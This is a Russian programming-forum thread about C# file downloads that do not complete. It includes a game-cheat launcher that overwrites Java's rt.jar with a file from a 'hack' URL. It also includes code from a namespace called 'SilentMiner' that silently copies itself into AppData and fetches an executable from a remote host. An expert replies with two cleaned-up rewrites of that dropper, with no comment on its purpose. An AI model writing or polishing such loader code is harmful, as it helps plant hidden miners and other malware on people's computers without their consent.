Форум программистов, компьютерный форум, киберфорум
C# для начинающих
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.57/21: Рейтинг темы: голосов - 21, средняя оценка - 4.57
0 / 0 / 0
Регистрация: 27.09.2013
Сообщений: 32

Не скачивается файл полностью

15.02.2015, 11:17. Показов 4428. Ответов 5
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
C#
1
2
3
4
5
6
7
 private void button2_Click(object sender, EventArgs e)
        {
            webClient.DownloadFile("http://greenqubes.ru/hack/sandbox/sandbox.jar", @"C:\sandbox.jar");
            MessageBox.Show("Готово, теперь запустите лаунчер и зайдите в игру!");//по оканчанию загрузки выводим сообщение
 
 
        }
Скачивает такой файл, но весом всего 12 кб!
И тут тоже самое
C#
1
2
3
4
5
 private void button4_Click(object sender, EventArgs e)
        {
            webClient.DownloadFile("http://greenqubes.ru/hack/sandbox/rt.jar", @"C:\Program Files\Java\jre1.8.0_31\lib\rt.jar");
            MessageBox.Show("Теперь нажмите кнопку Чит:");//по оканчанию загрузки выводим сообщение
        }
Добавлено через 20 часов 52 минуты
Я апаю, нет ответа
0
Лучшие ответы (1)
Programming
Эксперт
39485 / 9562 / 3019
Регистрация: 12.04.2006
Сообщений: 41,671
Блог
15.02.2015, 11:17
Ответы с готовыми решениями:

Апдейт программы, не всегда скачивается файл или скачивается не полностью. Посоветуйте решение...
Здравствуйте! Апдейтю программу, качаются файлы. Но бывает, что один из файлов (или несколько) просто не скачиваются, а создаётся в папке...

Файл скачивается не полностью
Такая проблема. Я скачиваю файл с ФТП через обычный WebClient() WebClient client = new WebClient(); client.DownloadFileAsync(new...

Не скачивается файл по FTP на системный диск
При скачивании файла на системный диск (C) выскакивает ошибка Отказано в доступе по пути "C:\\MyProgram.exe"." Код...

5
Эксперт .NET
 Аватар для Casper-SC
4434 / 2094 / 404
Регистрация: 27.03.2010
Сообщений: 5,657
Записей в блоге: 1
15.02.2015, 12:31
Лучший ответ Сообщение было отмечено tezaurismosis как решение

Решение

По прежнему не сохраняется, так как отказано в доступе к диску С. Просто смени путь на то расположение, сохранение в которое не требует прав админа.
Ну и про это не забывай: new RequestCachePolicy(RequestCacheLevel.NoCacheNoStore);

XML
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<Window x:Class="WpfApplication1.MainWindow"
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        Title="MainWindow"
        Width="525"
        Height="350"
        WindowStartupLocation="CenterScreen">
    <Grid>
 
        <Button Width="220"
                Height="72"
                Margin="22,0,0,19"
                HorizontalAlignment="Left"
                VerticalAlignment="Bottom"
                Click="DownloadButton_Click"
                Content="Скачать"
                FontSize="36" />
        
        <TextBlock x:Name="textBlockInfo"
            Height="103"
                   Margin="10,10,10,0"
                   VerticalAlignment="Top"
                   FontSize="16"
                   Text=""
                   TextAlignment="Center"
                   TextWrapping="Wrap" />
 
    </Grid>
</Window>
C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
using System;
using System.Net;
using System.Net.Cache;
using System.Text;
using System.Windows;
 
namespace WpfApplication1
{
    public partial class MainWindow : Window
    {
        private readonly WebClient _webClient;
 
        public MainWindow()
        {
            InitializeComponent();
 
            _webClient = new WebClient();
            _webClient.CachePolicy = new RequestCachePolicy(RequestCacheLevel.NoCacheNoStore);
            _webClient.DownloadFileCompleted += WebClient_DownloadFileCompleted;
        }
 
        private void WebClient_DownloadFileCompleted(object sender, System.ComponentModel.AsyncCompletedEventArgs e)
        {
            if (e.Error != null)
            {
                textBlockInfo.Text = GetErrorInfo(e.Error);
            }
            else if (e.Cancelled)
            {
                textBlockInfo.Text = "Скачивание было прервано.";
            }
            else
            {
                textBlockInfo.Text = "Готово, теперь запустите лаунчер и зайдите в игру!";
            }
        }
 
        private void DownloadButton_Click(object sender, RoutedEventArgs e)
        {
            _webClient.DownloadFileAsync(new Uri("http://greenqubes.ru/hack/sandbox/sandbox.jar"), @"C:\sandbox.jar");
        }
 
        private string GetErrorInfo(Exception ex)
        {
            const string SeparatorLine = "----------------------------";
            StringBuilder sb = new StringBuilder(160);
            sb.AppendLine(ex.Message);
            if (!string.IsNullOrWhiteSpace(ex.StackTrace))
            {
                sb.AppendLine(SeparatorLine);
                sb.AppendLine(ex.StackTrace);
                sb.AppendLine(SeparatorLine);
            }
            if (ex.InnerException != null)
            {
                sb.AppendLine(ex.InnerException.Message);
            }
            return sb.ToString();
        }
    }
}
Вложения
Тип файла: rar CheatLauncher.rar (11.4 Кб, 12 просмотров)
0
0 / 0 / 0
Регистрация: 22.02.2020
Сообщений: 4
08.03.2020, 03:26
Уже неделю мучаюсь (( и не могу решить эту проблему. Пробовал с хостинга пробовал с дропбокса и все ровно файл приходит битым или не приходит вовсе.
Господа Хелп плиз.
что не так с кодом???

C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Management;
using System.Net;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
 
namespace SilentMiner_XakForNet
{
    class Program
    {
        [DllImport("USER32.DLL", CharSet = CharSet.Unicode)]
        public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
 
        static string file = "321.exe";
        static string dir = Environment.GetEnvironmentVariable("AppData") + "\\Test";
      
        
        static void Main(string[] args)
        {
            CopyFile();
            Download();
          
        }
 
        static void CopyFile()
        {
            try
            {
                if (!Directory.Exists(dir)) // Проверка на наличие папки
                    Directory.CreateDirectory(dir); // Если не существует, то создаем
 
                if (!File.Exists(dir + "\\" + file)) // Проверка на наличие файла  в папке
                    File.Copy(Assembly.GetExecutingAssembly().Location, dir + "\\" + file); // Копируемся           
            }
            catch { }
        }
 
                static void Download()
        {
            string host = @" Либо ссылка на папку хостинга либо ссылка на папку дропбокса "; // Ссылка 
 
            if (!File.Exists(dir + "\\" + "123.exe")) // Путь 
            {
                try
                {
                    using (var client = new WebClient())
                    {
                        if (Environment.Is64BitOperatingSystem) //  Проверка на разрядность системы
                            client.DownloadFile(host + "x64.exe", dir + "\\" + "123.exe"); // Скачиваем нужный файл
                    }  
                }
                catch { }
            }
 
        }  
    }
}
0
Эксперт .NET
 Аватар для Casper-SC
4434 / 2094 / 404
Регистрация: 27.03.2010
Сообщений: 5,657
Записей в блоге: 1
08.03.2020, 16:56
BooGyi, зачем ты всё обернул в try catch без обработки в catch? А если есть ошибка, то и пусть, подумаешь. Так что ли?

Добавлено через 53 секунды
BooGyi, проверял в дебаге вообще что происходит? Смотрел ли исключения, которые, вероятно, были брошены в процессе неудачного скачивания? Файл другими способами по ссылке качается?
1
0 / 0 / 0
Регистрация: 22.02.2020
Сообщений: 4
08.03.2020, 23:26
Нет там после проверки на разрядность выбирается тип файла для 32 или 64 разрядной системы. ну и ниже еще параметры системы которые при определенных условиях запрашивают нужные файлы. это не весь код а малая часть. для меня все это темные лес я просто стараюсь разобраться. В исключение вот что. (Вызвано исключение: "System.Runtime.InteropServices.COMExcep tion" в System.Management.dll
Вызвано исключение: "System.ComponentModel.Win32Exceptio n" в System.dll
Вызвано исключение: "System.ComponentModel.Win32Exceptio n" в System.dll
0
Эксперт .NET
 Аватар для Casper-SC
4434 / 2094 / 404
Регистрация: 27.03.2010
Сообщений: 5,657
Записей в блоге: 1
09.03.2020, 02:03
Проверил. Скачивание нормально работает. С такой постановкой вопроса помощи не будет. Выложенные ошибки, вообще никак не относятся к тому коду, который выше. Кстати, код максимально простой на самом деле и написан очень плохо, как по мне.

На мой взгляд, чуть лучше написанный тот же самый код:
Кликните здесь для просмотра всего текста
C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
using System;
using System.IO;
using System.Net;
using System.Reflection;
using System.Runtime.InteropServices;
 
namespace SuperMegaSilentProgramMegaHack
{
    partial class Program
    {
        [DllImport("USER32.DLL", CharSet = CharSet.Unicode)]
        public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
 
        #region Entry point
 
        private static Program _program;
 
        static void Main(string[] args)
        {
            _program = new Program();
            _program.Run(args);
        }
 
        #endregion
    }
 
    partial class Program
    {
        private string _fileName = "321.exe";
        private readonly string _directory = Path.Combine(Environment.GetEnvironmentVariable("AppData"), "Test");
 
        private void Run(string[] args)
        {
            try
            {
                CopyFile();
                Download();
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex);
            }
        }
 
        private void CopyFile()
        {
            // Проверка на наличие папки
            if (!Directory.Exists(_directory))
            {
                // Если не существует, то создаем
                Directory.CreateDirectory(_directory);
            }
 
            string targetFile = Path.Combine(_directory, _fileName);
            // Проверка на наличие файла  в папке
            if (!File.Exists(targetFile))
            {
                // Копируемся
                File.Copy(Assembly.GetExecutingAssembly().Location, targetFile);
            }
        }
 
        private void Download()
        {
            // Проверка на разрядность системы (судя по оригинальному коду, место проверке именно здесь)
            if (Environment.Is64BitOperatingSystem)
            {
                // Ссылка 
                string host = @"https://address";
 
                // Путь
                string fileName = Path.Combine(_directory, "123.exe");
                if (!File.Exists(fileName))
                {
                    using (var client = new WebClient())
                    {
                        // Скачиваем нужный файл
                        client.DownloadFile(host/* + "x64.exe"*/, fileName);
                    }
                }
            }
        }
    }
}


Добавлено через 2 минуты
Ну или так (async await):
Кликните здесь для просмотра всего текста
C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
using System;
using System.IO;
using System.Net;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Threading.Tasks;
 
namespace SuperMegaSilentProgramMegaHack
{
    partial class Program
    {
        [DllImport("USER32.DLL", CharSet = CharSet.Unicode)]
        public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
 
        #region Entry point
 
        private static Program _program;
 
        static Task Main(string[] args)
        {
            _program = new Program();
            return _program.Run(args);
        }
 
        #endregion
    }
 
    partial class Program
    {
        private string _fileName = "321.exe";
        private readonly string _directory = Path.Combine(Environment.GetEnvironmentVariable("AppData"), "Test");
 
        private async Task Run(string[] args)
        {
            try
            {
                CopyFile();
                await Download();
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex);
            }
        }
 
        private void CopyFile()
        {
            // Проверка на наличие папки
            if (!Directory.Exists(_directory))
            {
                // Если не существует, то создаем
                Directory.CreateDirectory(_directory);
            }
 
            string targetFile = Path.Combine(_directory, _fileName);
            // Проверка на наличие файла  в папке
            if (!File.Exists(targetFile))
            {
                // Копируемся
                File.Copy(Assembly.GetExecutingAssembly().Location, targetFile);
            }
        }
 
        private async Task Download()
        {
            // Проверка на разрядность системы (судя по оригинальному коду, место проверке именно здесь)
            if (Environment.Is64BitOperatingSystem)
            {
                // Ссылка 
                string host = @"https://address";
 
                // Путь
                string fileName = Path.Combine(_directory, "123.exe");
                if (!File.Exists(fileName))
                {
                    using (var client = new WebClient())
                    {
                        // Скачиваем нужный файл
                        await client.DownloadFileTaskAsync(host/* + "x64.exe"*/, fileName);
                    }
                }
            }
        }
    }
}


Добавлено через 4 минуты
Цитата Сообщение от BooGyi Посмотреть сообщение
для меня все это темные лес я просто стараюсь разобраться
Нужно знать хотя бы основы C#, иначе это бесполезная трата времени.

Добавлено через 3 минуты
Цитата Сообщение от BooGyi Посмотреть сообщение
В исключение вот что.
Мало информации и это не самая её полезная часть. Насколько я помню, в винде может быть отключена служба Служба WMI (Windows Management Instrumentarium), из-за чего код из этой библиотеки не сможет получать данные.

Кажись оно: https://stackoverflow.com/a/7457196/3786094
1
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
inter-admin
Эксперт
29715 / 6470 / 2152
Регистрация: 06.03.2009
Сообщений: 28,500
Блог
09.03.2020, 02:03
Помогаю со студенческими работами здесь

DownloadFileAsync: как определить, какой файл сейчас скачивается
Всем доброго времени суток! У меня есть несколько файлов, которые я хочу скачать все они занесены в ListView и напротив каждого есть...

Файл скачивается не полностью с FTP
Есть скрипт, который скачивает файл с фтп сервера в бинарном режиме, но файл почему-то не полностью скачивается( что делать?

Не скачивается exe файл
Не скачивается exe файл.Сижу с хрома.Выдает сообщение &quot;ошибка сети&quot;

Не скачивается файл из интернета
Здравствуйте! Хочу программно скачать файл. Делал по примеру &quot;download&quot;, что находится в папке qt. Разница только в том, что у них это...

Не скачивается файл с UCOZ
Public Class Form1 Dim WithEvents wc As New System.Net.WebClient Private Sub Button1_Click(ByVal sender As System.Object, ByVal...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
6
Ответ Создать тему
Новые блоги и статьи
SDL3 для Web (WebAssembly): Обработчик клика мыши в браузере ПК и касания экрана в браузере на мобильном устройстве
8Observer8 02.02.2026
Содержание блога Для начала пошагово создадим рабочий пример для подготовки к экспериментам в браузере ПК и в браузере мобильного устройства. Потом напишем обработчик клика мыши и обработчик. . .
Философия технологии
iceja 01.02.2026
На мой взгляд у человека в технических проектах остается роль генерального директора. Все остальное нейронки делают уже лучше человека. Они не могут нести предпринимательские риски, не могут. . .
SDL3 для Web (WebAssembly): Вывод текста со шрифтом TTF с помощью SDL3_ttf
8Observer8 01.02.2026
Содержание блога В этой пошаговой инструкции создадим с нуля веб-приложение, которое выводит текст в окне браузера. Запустим на Android на локальном сервере. Загрузим Release на бесплатный. . .
SDL3 для Web (WebAssembly): Сборка C/C++ проекта из консоли
8Observer8 31.01.2026
Содержание блога Если вы откроете примеры для начинающих на официальном репозитории SDL3 в папке: examples, то вы увидите, что все примеры используют следующие четыре обязательные функции, а. . .
SDL3 для Web (WebAssembly): Установка Emscripten SDK (emsdk) и CMake для сборки C и C++ приложений в Wasm
8Observer8 31.01.2026
Содержание блога Для того чтобы скачать Emscripten SDK (emsdk) необходимо сначало скачать и уставить Git: Install for Windows. Следуйте стандартной процедуре установки Git через установщик. . . .
SDL3 для Android: Подключение Box2D v3, физика и отрисовка коллайдеров
8Observer8 30.01.2026
Содержание блога Box2D - это библиотека для 2D физики для анимаций и игр. С её помощью можно определять были ли коллизии между конкретными объектами. Версия v3 была полностью переписана на Си, в. . .
Инструменты COM: Сохранение данный из VARIANT в файл и загрузка из файла в VARIANT
bedvit 28.01.2026
Сохранение базовых типов COM и массивов (одномерных или двухмерных) любой вложенности (деревья) в файл, с возможностью выбора алгоритмов сжатия и шифрования. Часть библиотеки BedvitCOM Использованы. . .
SDL3 для Android: Загрузка PNG с альфа-каналом с помощью SDL_LoadPNG (без SDL3_image)
8Observer8 28.01.2026
Содержание блога SDL3 имеет собственные средства для загрузки и отображения PNG-файлов с альфа-каналом и базовой работы с ними. В этой инструкции используется функция SDL_LoadPNG(), которая. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru